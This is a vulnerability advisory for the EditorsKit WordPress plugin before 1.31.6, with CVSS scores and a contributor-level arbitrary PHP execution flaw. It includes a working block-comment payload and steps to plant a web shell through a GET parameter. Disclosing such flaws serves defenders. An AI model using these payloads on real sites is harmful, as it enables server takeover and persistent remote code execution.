Lucene search

K
wpexploitAnton SarsadskikhWPEX-ID:BDC36F6A-682D-4D66-B587-92E86085D971
HistorySep 13, 2021 - 12:00 a.m.

EditorsKit < 1.31.6 - Contributor+ Arbitrary PHP Code Execution

2021-09-1300:00:00
Anton Sarsadskikh
393

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

The plugin does not sanitise and validate the Conditional Logic of the Custom Visibility settings, allowing users with a role as low contributor to execute Arbitrary PHP code

As a contributor, create/edit a post and put the below code while in Code Editor mode:

<!-- wp:paragraph {"editorskit":{"logic":"file_put_contents('/var/www/hacked.txt', 'hacked')","devices":false,"desktop":true,"tablet":true,"mobile":true,"loggedin":true,"loggedout":true,"acf_visibility":"","acf_field":"","acf_condition":"","acf_value":"","migrated":false,"unit_test":false}} -->\n<p>aa</p>\n<!-- /wp:paragraph -->

Save or Preview the page, which will create the /var/www/hacked.txt file


(WPscanTeam) To create a shell:
- Payload: file_put_contents('/var/www/hacked.php', wp_unslash($_GET['c']))
- View/preview the post and add &c=<?php echo 'failed'; ?> e.g: https://example.com/?p=1079&preview=true&c=%3C?php%20echo%20%27Failed%27;%20?%3E
- Access https://example.com/hacked.php to execute the code

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

Related for WPEX-ID:BDC36F6A-682D-4D66-B587-92E86085D971